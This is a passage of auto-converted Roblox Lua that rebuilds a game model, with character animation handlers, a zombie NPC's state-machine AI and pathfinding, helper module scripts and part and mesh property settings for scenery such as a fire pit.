"Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then stopAllAnimations() moveSit() return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then -- print("Wha " .. pose) amplitude = 0.1 frequency = 1 setAngles = true end if (setAngles) then desiredAngle = amplitude * math.sin(time * frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) end -- Tool Animation handling local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimTime = 0 end end -- connect events Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(onJumping) Humanoid.Climbing:connect(onClimbing) Humanoid.GettingUp:connect(onGettingUp) Humanoid.FreeFalling:connect(onFreeFall) Humanoid.FallingDown:connect(onFallingDown) Humanoid.Seated:connect(onSeated) Humanoid.PlatformStanding:connect(onPlatformStanding) Humanoid.Swimming:connect(onSwimming) -- main program local runService = game:service("RunService"); -- initialize to idle playAnimation("idle", 0.1, Humanoid) pose = "Standing" while Figure.Parent~=nil do local _, time = wait(0.1) move(time) end end)) StringValue265.Name = "climb" StringValue265.Parent = Script264 Animation266.Name = "ClimbAnim" Animation266.Parent = StringValue265 Animation266.AnimationId = "http://www.roblox.com/asset/?id=125750800" StringValue267.Name = "fall" StringValue267.Parent = Script264 Animation268.Name = "FallAnim" Animation268.Parent = StringValue267 Animation268.AnimationId = "http://www.roblox.com/asset/?id=125750759" StringValue269.Name = "idle" StringValue269.Parent = Script264 Animation270.Name = "Animation1" Animation270.Parent = StringValue269 Animation270.AnimationId = "http://www.roblox.com/asset/?id=125750544" NumberValue271.Name = "Weight" NumberValue271.Parent = Animation270 NumberValue271.Value = 9 Animation272.Name = "Animation2" Animation272.Parent = StringValue269 Animation272.AnimationId = "http://www.roblox.com/asset/?id=125750618" NumberValue273.Name = "Weight" NumberValue273.Parent = Animation272 NumberValue273.Value = 1 StringValue274.Name = "jump" StringValue274.Parent = Script264 Animation275.Name = "JumpAnim" Animation275.Parent = StringValue274 Animation275.AnimationId = "http://www.roblox.com/asset/?id=125750702" StringValue276.Name = "run" StringValue276.Parent = Script264 Animation277.Name = "RunAnim" Animation277.Parent = StringValue276 Animation277.AnimationId = "http://www.roblox.com/asset/?id=125749145" StringValue278.Name = "toolnone" StringValue278.Parent = Script264 Animation279.Name = "ToolNoneAnim" Animation279.Parent = StringValue278 Animation279.AnimationId = "http://www.roblox.com/asset/?id=125750867" StringValue280.Name = "walk" StringValue280.Parent = Script264 Animation281.Name = "WalkAnim" Animation281.Parent = StringValue280 Animation281.AnimationId = "http://www.roblox.com/asset/?id=125749145" Script282.Parent = Model246 table.insert(cors,sandbox(Script282,function() local zombie = script.Parent for _, script in pairs(zombie.ModuleScripts:GetChildren()) do if not game.ServerStorage:FindFirstChild(script.Name) then script:Clone().Parent = game.ServerStorage end end local AI = require(game.ServerStorage.ROBLOX_ZombieAI).new(zombie) local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService) local function clearParts(parent) for _, part in pairs(parent:GetChildren()) do clearParts(part) end local delay if parent:IsA("Part") then delay = math.random(5,10) else delay = 11 end DestroyService:AddItem(parent, delay) end zombie.Humanoid.Died:connect(function() AI.Stop() math.randomseed(tick()) clearParts(zombie) script.Disabled = true end) local lastMoan = os.time() math.randomseed(os.time()) while true do local animationTrack = zombie.Humanoid:LoadAnimation(zombie.Animations.Arms) animationTrack:Play() -- local now = os.time() -- if now - lastMoan > 5 then -- if math.random() > .3 then -- zombie.Moan:Play() ---- print("playing moan") -- lastMoan = now -- end -- end wait(2) end end)) BillboardGui283.Parent = Model246 BillboardGui283.Size = UDim2.new(0, 100, 0, 30) BillboardGui283.StudsOffset = Vector3.new(0, 5, 0) TextLabel284.Parent = BillboardGui283 TextLabel284.Visible = false TextLabel284.Size = UDim2.new(1, 0, 1, 0) TextLabel284.BackgroundColor = BrickColor.new("Institutional white") TextLabel284.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel284.Font = Enum.Font.SourceSansBold TextLabel284.FontSize = Enum.FontSize.Size24 TextLabel284.Text = "Idle" TextLabel284.TextSize = 24 Configuration285.Name = "ModuleScripts" Configuration285.Parent = Model246 ModuleScript286.Name = "ROBLOX_AIUtilities" ModuleScript286.Parent = Configuration285 table.insert(cors,sandbox(ModuleScript286,function() local utility = {} function utility:WideRayCast(start, target, offset, ignoreList) local parts = {} local ray = Ray.new(start, target - start) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end local offsetVector = offset * (target - start):Cross(Vector3.FromNormalId(Enum.NormalId.Top)).unit local ray = Ray.new(start + offsetVector, target - start + offsetVector) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end local ray = Ray.new(start - offsetVector, target - start - offsetVector) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end return parts end function utility:FindNearestPathPoint(path, point, start, target, ignoreList) local occludePoint = path:CheckOcclusionAsync(point) if occludePoint > 0 then utility:WideRayCast(start) end end local maxForce = 15 function utility:GetRepulsionVector(unitPosition, otherUnitsPositions) local repulsionVector = Vector3.new(0,0,0) local count = 0 for _, other in pairs(otherUnitsPositions) do local fromOther = unitPosition - other --fromOther = fromOther.unit * ((-maxForce / 5) * math.pow(fromOther.magnitude,2) + maxForce) fromOther = fromOther.unit * 1000 / math.pow((fromOther.magnitude + 1), 2) repulsionVector = repulsionVector + fromOther end return repulsionVector * maxForce end function utility:GetIdleState(StateMachine) local IdleState = StateMachine.NewState() IdleState.Name = "Idle" IdleState.Action = function() end IdleState.Init = function() end return IdleState end function utility:GetClosestVisibleTarget(npcModel, characters, ignoreList, fieldOfView) local closestTarget = nil local closestDistance = math.huge for _, character in pairs(characters) do local toTarget = character.HumanoidRootPart.Position - npcModel.HumanoidRootPart.Position local toTargetWedge = toTarget * Vector3.new(1,0,1) local angle = math.acos(toTargetWedge:Dot(npcModel.HumanoidRootPart.CFrame.lookVector)/toTargetWedge.magnitude) if math.deg(angle) < fieldOfView then local targetRay = Ray.new(npcModel.HumanoidRootPart.Position, toTarget) local part, position = game.Workspace:FindPartOnRayWithIgnoreList(targetRay, ignoreList) if part and part.Parent == character then if toTarget.magnitude < closestDistance then closestTarget = character closestDistance = toTarget.magnitude end end end end return closestTarget end local function isSpaceEmpty(position) local region = Region3.new(position - Vector3.new(2,2,2), position + Vector3.new(2,2,2)) return game.Workspace:IsRegion3Empty(region) end function utility:FindCloseEmptySpace(model) local targetPos = Vector3.new(0,0,0) local count = 0 math.randomseed(os.time()) repeat local xoff = math.random(5,10) if math.random() > .5 then xoff = xoff * -1 end local zoff = math.random(5, 10) if math.random() > .5 then zoff = zoff * -1 end targetPos = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) if isSpaceEmpty(targetPos) then return targetPos else targetPos = targetPos + Vector3.new(0,4,0) end if isSpaceEmpty(targetPos) then return targetPos end count = count + 1 until count > 10 return nil end return utility end)) ModuleScript287.Name = "ROBLOX_DestroyService" ModuleScript287.Parent = Configuration285 table.insert(cors,sandbox(ModuleScript287,function() local destroyService = {} local destroyQueue = {} function destroyService:AddItem(theobject, delay) local now = os.time() local destroyObject = {object = theobject, destroyTime = delay + now} for i, storedObject in pairs(destroyQueue) do if destroyQueue[i].destroyTime > destroyObject.destroyTime then table.insert(destroyQueue, i, destroyObject) return true end end table.insert(destroyQueue, destroyObject) return true end local updateThread = coroutine.create(function() while true do local now = os.time() for _, storedObject in pairs(destroyQueue) do if now >= storedObject.destroyTime then table.remove(destroyQueue, 1) if storedObject.object then storedObject.object:Destroy() end elseif now >= storedObject.destroyTime - 1 then if storedObject.object and storedObject.object:IsA("Part") then local trans = storedObject.object.Transparency + 1/30 storedObject.object.Transparency = trans end else break end end wait() end end) coroutine.resume(updateThread) return destroyService end)) ModuleScript288.Name = "ROBLOX_HumanoidList" ModuleScript288.Parent = Configuration285 table.insert(cors,sandbox(ModuleScript288,function() local humanoidList = {} local storage = {} function humanoidList:GetCurrent() return storage end local function findHumanoids(object, list) if object then if object:IsA("Humanoid") then table.insert(list, object) end for _, child in pairs(object:GetChildren()) do local childList = findHumanoids(child, list) end end end local updateThread = coroutine.create(function() while true do storage = {} findHumanoids(game.Workspace, storage) wait(3) end end) coroutine.resume(updateThread) return humanoidList end)) ModuleScript289.Name = "ROBLOX_StateMachine" ModuleScript289.Parent = Configuration285 table.insert(cors,sandbox(ModuleScript289,function() local machine = {} machine.new = function() local StateMachine = {} StateMachine.WaitTime = .2 StateMachine.CurrentState = nil StateMachine.SwitchState = function(newState) if StateMachine.CurrentState then StateMachine.CurrentState.Stop() end StateMachine.CurrentState = newState if newState then newState.Start() end end StateMachine.NewState = function() local state = {} state.Name = "" state.Conditions = {} state.isRunning = false state.Action = function() end state.Run = function() state.isRunning = true while state.isRunning do --check conditions --print("checking conditions") for _, condition in pairs(state.Conditions) do --print("Checking " .. condition.Name) if condition.Evaluate() then --print(condition.Name .. " is true. Switching states") StateMachine.SwitchState(condition.TransitionState) return end end --if no conditions satisfied, perform action state.Action() wait(StateMachine.WaitTime) end end state.Init = function() end state.Start = function() --print("Starting " .. state.Name) state.Init() local thread = coroutine.create(state.Run) coroutine.resume(thread) end state.Stop = function() --print("Stopping " .. state.Name) state.isRunning = false end return state end StateMachine.NewCondition = function() local condition = {} condition.Name = "" condition.Evaluate = function() print("replace me") return false end condition.TransitionState = {} return condition end return StateMachine end return machine end)) ModuleScript290.Name = "ROBLOX_ZombieAI" ModuleScript290.Parent = Configuration285 table.insert(cors,sandbox(ModuleScript290,function() --local PathLib = require(game.ServerStorage.PathfindingLibrary).new() local HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList) local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities) local ZombieAI = {} function updateDisplay(display, state) local thread = coroutine.create(function() while true do wait() if state then display.Text = state.Name end end end) coroutine.resume(thread) end ZombieAI.new = function(model) local zombie = {} -- CONFIGURATION VARIABLES -- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration, -- Damage, DamageCooldown local configTable = model.Configurations local configs = {} local function loadConfig(configName, defaultValue) if configTable:FindFirstChild(configName) then configs[configName] = configTable:FindFirstChild(configName).Value else configs[configName] = defaultValue end end loadConfig("AttackRange", 3) loadConfig("FieldOfView", 180) loadConfig("AggroRange", 200) loadConfig("ChanceOfBoredom", .5) loadConfig("BoredomDuration", 10) loadConfig("Damage", 10) loadConfig("DamageCooldown", 1) local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new() local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new() local ZombieTarget = nil local ZombieTargetLastLocation = nil local lastBored = os.time() -- STATE DEFINITIONS -- IdleState: NPC stays still. Refreshes bored timer when started to -- allow for random state change local IdleState = StateMachine.NewState() IdleState.Name = "Idle" IdleState.Action = function() end IdleState.Init = function() lastBored = os.time() end -- SearchState: NPC wanders randomly increasing chance of spotting -- enemy. Refreshed bored timer when started to allow for random state -- change local SearchState = StateMachine.NewState() SearchState.Name = "Search" local lastmoved = os.time() local searchTarget = nil SearchState.Action = function() -- move to random spot nearby if model then local now = os.time() if now - lastmoved > 2 then lastmoved = now local xoff = math.random(5, 10) if math.random() > .5 then xoff = xoff * -1 end local zoff = math.random(5, 10) if math.random() > .5 then zoff = zoff * -1 end local testtarg = AIUtilities:FindCloseEmptySpace(model) --if testtarg then print(testtarg) else print("could not find") end searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --model.Humanoid:MoveTo(target) searchTarget = testtarg end if searchTarget then PathLib:MoveToTarget(model, searchTarget) end end end SearchState.Init = function() lastBored = os.time() end -- PursueState: Enemy has been spotted, need to give chase. local PursueState = StateMachine.NewState() PursueState.Name = "Pursue" PursueState.Action = function() -- Double check we still have target if ZombieTarget then -- Get distance to target local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude -- If we're far from target use pathfinding to move. Otherwise just MoveTo if distance > configs["AttackRange"] + 5 then PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position) else model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) -- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then -- model.Humanoid.Jump = true -- end end end end PursueState.Init = function() end -- AttackState: Keep moving towards target and play attack animation. local AttackState = StateMachine.NewState() AttackState.Name = "Attack" local lastAttack = os.time() local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack) AttackState.Action = function() model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) local now = os.time() if now - lastAttack > 3 then lastAttack = now attackTrack:Play() end end -- HuntState: Can't see target but NPC will move to target's last known location. -- Will eventually get bored and switch state. local HuntState = StateMachine.NewState() HuntState.Name = "Hunt" HuntState.Action = function() if ZombieTargetLastLocation then PathLib:MoveToTarget(model, ZombieTargetLastLocation) end end HuntState.Init = function() lastBored = os.time() + configs["BoredomDuration"] / 2 end -- CONDITION DEFINITIONS -- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and -- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed -- greater than 0 (this is to ignore inanimate objects that happen to use humanoids) local CanSeeTarget = StateMachine.NewCondition() CanSeeTarget.Name = "CanSeeTarget" CanSeeTarget.Evaluate = function() if model then -- Get list of all nearby Zombies and non-Zombie humanoids -- Zombie list is used to ignore zombies during later raycast local humanoids = HumanoidList:GetCurrent() local zombies = {} local characters = {} for _, object in pairs(humanoids) do if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then local torso = object.Parent:FindFirstChild("HumanoidRootPart") if torso then local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude if distance <= configs["AggroRange"] then if object.Parent.Name == "Drooling Zombie" then table.insert(zombies, object.Parent) else table.insert(characters, object.Parent) end end end end end local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"]) if target then ZombieTarget = target return true end -- -- Go through each valid target to see if within field of view and if there is -- -- clear line of sight. Field of view treated as wedge in front of character. -- for _, character in pairs(characters) do -- local toTarget = (character.HumanoidRootPart.Position - model.HumanoidRootPart.Position) -- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z) -- local angle = math.acos(toTarget:Dot(model.HumanoidRootPart.CFrame.lookVector)/toTarget.magnitude) -- if math.deg(angle) < configs["FieldOfView"]/2 then -- ZombieTarget = character -- -- raycast to see if target is actually visible -- local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position)) -- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies) -- if part and part.Parent == ZombieTarget then -- return true -- end -- ZombieTarget = nil -- end -- end end return false end CanSeeTarget.TransitionState = PursueState -- TargetDead: Check if target is dead. local TargetDead = StateMachine.NewCondition() TargetDead.Name = "TargetDead" TargetDead.Evaluate = function() if ZombieTarget and ZombieTarget.Humanoid then return ZombieTarget.Humanoid.Health <= 0 end return true end TargetDead.TransitionState = IdleState -- GotDamaged: Check if NPC has taken damage local lastHealth = model.Humanoid.Health local GotDamaged = StateMachine.NewCondition() GotDamaged.Name = "GotDamaged" GotDamaged.Evaluate = function() if model then if lastHealth > model.Humanoid.Health then return true end end return false end GotDamaged.TransitionState = SearchState -- GotBored: Used to provide random state change. local GotBored = StateMachine.NewCondition() GotBored.Name = "GotBored" GotBored.Evaluate = function() local now = os.time() if now - lastBored > configs["BoredomDuration"] then local roll = math.random() if roll < configs["ChanceOfBoredom"] then lastBored = now if GotBored.TransitionState == SearchState then GotBored.TransitionState = IdleState else GotBored.TransitionState = SearchState end return true end end return false end GotBored.TransitionState = IdleState -- LostTarget: Checks clear line of sight local LostTarget = StateMachine.NewCondition() LostTarget.Name = "LostTarget" LostTarget.Evaluate = function() if true then return false end if ZombieTarget then if (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position).magnitude > 10 then local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position)) local part, position = game.Workspace:FindPartOnRay(toTarget, model) if not part or part.Parent ~= ZombieTarget then --print("Lost target!") ZombieTargetLastLocation = ZombieTarget.HumanoidRootPart.Position ZombieTarget = nil return true end end end return false end LostTarget.TransitionState = HuntState local WithinRange = StateMachine.NewCondition() WithinRange.Name = "WithinRange" WithinRange.Evaluate = function() if ZombieTarget then local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude if distance < configs["AttackRange"] then --print("Within attack range!") return true end end return false end WithinRange.TransitionState = AttackState local OutsideRange = StateMachine.NewCondition() OutsideRange.Name = "OutsideRange" OutsideRange.Evaluate = function() if ZombieTarget then local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude if distance > configs["AttackRange"] then --print("Outside attack range!") return true end end return false end OutsideRange.TransitionState = PursueState table.insert(IdleState.Conditions, CanSeeTarget) table.insert(IdleState.Conditions, GotDamaged) table.insert(IdleState.Conditions, GotBored) table.insert(SearchState.Conditions, GotBored) table.insert(SearchState.Conditions, CanSeeTarget) table.insert(PursueState.Conditions, LostTarget) table.insert(PursueState.Conditions, WithinRange) table.insert(PursueState.Conditions, TargetDead) table.insert(AttackState.Conditions, OutsideRange) table.insert(AttackState.Conditions, TargetDead) table.insert(HuntState.Conditions, GotBored) table.insert(HuntState.Conditions, CanSeeTarget) -- Setup arms damage local canHit = true local lastHit = os.time() local function handleHit(other) if canHit then if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then local enemy = other.Parent if enemy.Humanoid.WalkSpeed > 0 then enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"] canHit = false end end else local now = os.time() if now - lastHit > configs["DamageCooldown"] then lastHit = now canHit = true end end end local leftHitConnect, rightHitConnect leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit) rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit) --ZombieAI.Animate(model) --updateDisplay() --updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState) local thread = coroutine.create(function() while true do wait() -- calculate repulsion force local humanoids = HumanoidList:GetCurrent() local localZombies = {} for _, humanoid in pairs(humanoids) do if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("HumanoidRootPart") then local torso = humanoid.Parent:FindFirstChild("HumanoidRootPart") local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude if distance <= 2.5 then table.insert(localZombies, torso.Position) end end end local repulsionDirection = AIUtilities:GetRepulsionVector(model.HumanoidRootPart.Position, localZombies) if repulsionDirection.magnitude > 0 then --print("replusion direction: " .. tostring(repulsionDirection)) end model.HumanoidRootPart.RepulsionForce.force = repulsionDirection if StateMachine.CurrentState and model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = true model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name end if not model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = false end end end) coroutine.resume(thread) StateMachine.SwitchState(IdleState) zombie.Stop = function() StateMachine.SwitchState(nil) end return zombie end return ZombieAI end)) ModuleScript291.Name = "ROBLOX_PathfindingLibrary" ModuleScript291.Parent = Configuration285 table.insert(cors,sandbox(ModuleScript291,function() local PathfindingUtility = {} local TargetOffsetMax = 10--5 local JumpThreshold = 1.5 --2.5 local NextPointThreshold = 4 local PathfindingService = game:GetService("PathfindingService") PathfindingService.EmptyCutoff = .3 function PathfindingUtility.new() local this = {} local currentTargetPos = nil local lastTargetPos = Vector3.new(math.huge, math.huge, math.huge) local path = nil local currentPointIndex = 1 function this:MoveToTarget(character, target) local targetOffset = (lastTargetPos - target).magnitude -- -- local targetOffsetVector = (lastTargetPos - target) -- if targetOffsetVector.magnitude < math.huge then -- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1) -- end if targetOffset > TargetOffsetMax then --if targetOffsetVector.magnitude > TargetOffsetMax then --print("moveto") local startPoint = character.HumanoidRootPart.Position local humanoidState = character.Humanoid:GetState() if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then --print("this") local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPart then startPoint = hitPoint end end --print("making new path") local newTarget = target local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPoint then if (hitPoint - target).magnitude > 4 then newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0) end end --local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0) path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500) if path.Status ~= Enum.PathStatus.Success then --print(tostring(path.Status)) end --path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500) -- game.Workspace.Points:ClearAllChildren() -- local ps = path:GetPointCoordinates() -- for _, point in pairs(ps) do -- local part = Instance.new("Part", game.Workspace.Points) -- part.CanCollide = false -- part.Anchored = true -- part.FormFactor = Enum.FormFactor.Custom -- part.Size = Vector3.new(1,1,1) -- part.Position = point -- end currentPointIndex = 1 lastTargetPos = target end if path then local points = path:GetPointCoordinates() if currentPointIndex < #points then local currentPoint = points[currentPointIndex] local distance = (character.HumanoidRootPart.Position - currentPoint).magnitude if distance < NextPointThreshold then currentPointIndex = currentPointIndex + 1 end character.Humanoid:MoveTo(points[currentPointIndex]) if points[currentPointIndex].Y - character.HumanoidRootPart.Position.Y > JumpThreshold then character.Humanoid.Jump = true end else character.Humanoid:MoveTo(target) end end end return this end return PathfindingUtility end)) Configuration292.Name = "Configurations" Configuration292.Parent = Model246 IntValue293.Name = "Damage" IntValue293.Parent = Configuration292 IntValue293.Value = 30 BoolValue294.Name = "Debug" BoolValue294.Parent = Configuration292 IntValue295.Name = "FieldOfView" IntValue295.Parent = Configuration292 IntValue295.Value = 180 IntValue296.Name = "AggroRange" IntValue296.Parent = Configuration292 IntValue296.Value = 200 Configuration297.Name = "Animations" Configuration297.Parent = Model246 Animation298.Name = "Attack" Animation298.Parent = Configuration297 Animation298.AnimationId = "http://www.roblox.com/asset/?id=180416148" Animation299.Name = "Arms" Animation299.Parent = Configuration297 Animation299.AnimationId = "http://www.roblox.com/asset/?id=183294396" CharacterMesh300.Name = "Zombie Left Arm" CharacterMesh300.Parent = Model246 CharacterMesh300.BodyPart = Enum.BodyPart.LeftArm CharacterMesh300.MeshId = 37683097 CharacterMesh300.OverlayTextureId = 37686282 CharacterMesh301.Name = "Zombie Left Leg" CharacterMesh301.Parent = Model246 CharacterMesh301.BodyPart = Enum.BodyPart.LeftLeg CharacterMesh301.MeshId = 37683150 CharacterMesh301.OverlayTextureId = 37687646 CharacterMesh302.Name = "Zombie Right Arm" CharacterMesh302.Parent = Model246 CharacterMesh302.BodyPart = Enum.BodyPart.RightArm CharacterMesh302.MeshId = 37683174 CharacterMesh302.OverlayTextureId = 37686282 CharacterMesh303.Name = "Zombie Right Leg" CharacterMesh303.Parent = Model246 CharacterMesh303.BodyPart = Enum.BodyPart.RightLeg CharacterMesh303.MeshId = 37683227 CharacterMesh303.OverlayTextureId = 37687646 CharacterMesh304.Name = "Zombie torso" CharacterMesh304.Parent = Model246 CharacterMesh304.BodyPart = Enum.BodyPart.Torso CharacterMesh304.MeshId = 37683263 CharacterMesh304.OverlayTextureId = 37686282 Sound305.Name = "Moan" Sound305.Parent = Model246 Sound305.Pitch = 0.15000000596046 Sound305.PlaybackSpeed = 0.15000000596046 Sound305.Volume = 0.050000000745058 BodyColors306.Parent = Model246 BodyColors306.HeadColor = BrickColor.new("Camo") BodyColors306.HeadColor3 = Color3.new(0.227451, 0.490196, 0.0823529) BodyColors306.LeftArmColor = BrickColor.new("Earth green") BodyColors306.LeftArmColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors306.LeftLegColor = BrickColor.new("Earth green") BodyColors306.LeftLegColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors306.RightArmColor = BrickColor.new("Earth green") BodyColors306.RightArmColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors306.RightLegColor = BrickColor.new("Earth green") BodyColors306.RightLegColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors306.TorsoColor = BrickColor.new("Earth green") BodyColors306.TorsoColor3 = Color3.new(0.152941, 0.27451, 0.176471) Model307.Parent = Model1 Model308.Name = "FirePit" Model308.Parent = Model307 Part309.Parent = Model308 Part309.CFrame = CFrame.new(182.799271, 0.104699135, -21.5915051, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part309.Position = Vector3.new(182.799271, 0.104699135, -21.5915051) Part309.Color = Color3.new(0.388235, 0.372549, 0.384314) Part309.Size = Vector3.new(4, 0.200000003, 4) Part309.Anchored = true Part309.BottomSurface = Enum.SurfaceType.Smooth Part309.BrickColor = BrickColor.new("Dark stone grey") Part309.Material = Enum.Material.Pebble Part309.TopSurface = Enum.SurfaceType.Smooth Part309.brickColor = BrickColor.new("Dark stone grey") Part309.FormFactor = Enum.FormFactor.Custom Part309.formFactor = Enum.FormFactor.Custom Part310.Parent = Model308 Part310.CFrame = CFrame.new(183.457855, 0.592556953, -21.4690304, 0.965925813, -0.258818984, -1.5260996e-08, -2.29744082e-08, -2.67776841e-08, -0.999999821, 0.258819044, 0.965925634, -3.18114708e-08) Part310.Orientation = Vector3.new(89.9700012, -154.369995, -139.369995) Part310.Position = Vector3.new(183.457855, 0.592556953, -21.4690304) Part310.Rotation = Vector3.new(90, 0, 15) Part310.Color = Color3.new(0.105882, 0.164706, 0.207843) Part310.Size = Vector3.new(0.800000012, 2.5999999, 0.800000012) Part310.Anchored = true Part310.BottomSurface = Enum.SurfaceType.Smooth Part310.BrickColor = BrickColor.new("Black") Part310.Material = Enum.Material.Slate Part310.TopSurface = Enum.SurfaceType.Smooth Part310.brickColor = BrickColor.new("Black") Part310.FormFactor = Enum.FormFactor.Custom Part310.formFactor = Enum.FormFactor.Custom Part311.Parent = Model308 Part311.CFrame = CFrame.new(182.627319, 1.0978775, -21.73419, 0.500000238, 0.079459697, -0.8623721, -0.707106709, 0.61237216, -0.353553414, 0.499999464, 0.7865659, 0.362372845) Part311.Orientation = Vector3.new(20.7000008, -67.2099991, -49.1100006) Part311.Position = Vector3.new(182.627319, 1.0978775, -21.73419) Part311.Rotation = Vector3.new(44.2900009, -59.5800018, -9.02999973) Part311.Color = Color3.new(0.105882, 0.164706, 0.207843) Part311.Size = Vector3.new(0.800000012, 2.19999981, 0.800000012) Part311.Anchored = true Part311.BottomSurface = Enum.SurfaceType.Smooth Part311.BrickColor = BrickColor.new("Black") Part311.Material = Enum.Material.Slate Part311.TopSurface = Enum.SurfaceType.Smooth Part311.brickColor = BrickColor.new("Black") Part311.FormFactor = Enum.FormFactor.Custom Part311.formFactor = Enum.FormFactor.Custom Part312.Name = "FirePart" Part312.Parent = Model308 Part312.CFrame = CFrame.new(182.799271, 0.304694176, -21.5915051, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part312.Position = Vector3.new(182.799271, 0.304694176, -21.5915051) Part312.Color = Color3.new(0.105882, 0.164706, 0.207843) Part312.Size = Vector3.new(3, 0.200000003, 3) Part312.Anchored = true Part312.BottomSurface = Enum.SurfaceType.Smooth Part312.BrickColor = BrickColor.new("Black") Part312.Material = Enum.Material.Pebble Part312.TopSurface = Enum.SurfaceType.Smooth Part312.brickColor = BrickColor.new("Black") Part312.FormFactor = Enum.FormFactor.Custom Part312.formFactor = Enum.FormFactor.Custom Smoke313.Parent = Part312 Smoke313.Color = 